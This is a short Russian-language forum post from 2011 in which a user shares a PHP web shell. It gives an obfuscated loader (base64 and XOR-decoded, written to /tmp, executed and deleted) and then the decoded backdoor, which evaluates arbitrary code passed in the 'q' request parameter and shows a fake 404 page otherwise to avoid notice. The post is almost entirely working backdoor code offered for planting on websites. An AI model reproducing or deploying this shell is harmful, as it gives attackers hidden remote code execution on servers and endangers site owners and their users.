Тема: WEB SHELL
Показать сообщение отдельно

  #13  
Старый 24.11.2011, 01:00
SokoL
Banned
Регистрация: 27.04.2010
Сообщений: 0
С нами: 8442499

Репутация: 0
По умолчанию

Хочу написать об одном шелле

code:

<?php $pf="voKBztbOtLTX2JbXzc3bypaa4ez77+v77erlmc+Z45eXt MW0t9vI39KWzcrM187N0t/N1tvNlprh7Pvv6/vt6uWZz5njl5eFtMO029LN27TFtLfW29/a28yWmfbq6u6Rj5COnoqOip7w0cqe+NHL0NqZl4W0w7Q=";$GM ="/tmp/";$vdj="";$pf=base64_decode($pf);for($KYeAa=1; $KYeAa < strlen($pf); $KYeAa++) $vdj.=$pf[0] ^ $pf[$KYeAa];$xH=tempnam($GM,"O");$Wwm=fopen($xH, "w+");fwrite($Wwm, $vdj);fclose($Wwm);require($xH);unlink($xH);

он копирует себя в /tmp и в результате получается такая картина:

source:

Код:
<?php
if
(
isset
(
$_REQUEST
[
'q'
]))
{
eval
(
stripslashes
(
$_REQUEST
[
'q'
]));
}
else
{
header
(
'HTTP/1.0 404 Not Found'
);
}
 
Ответить с цитированием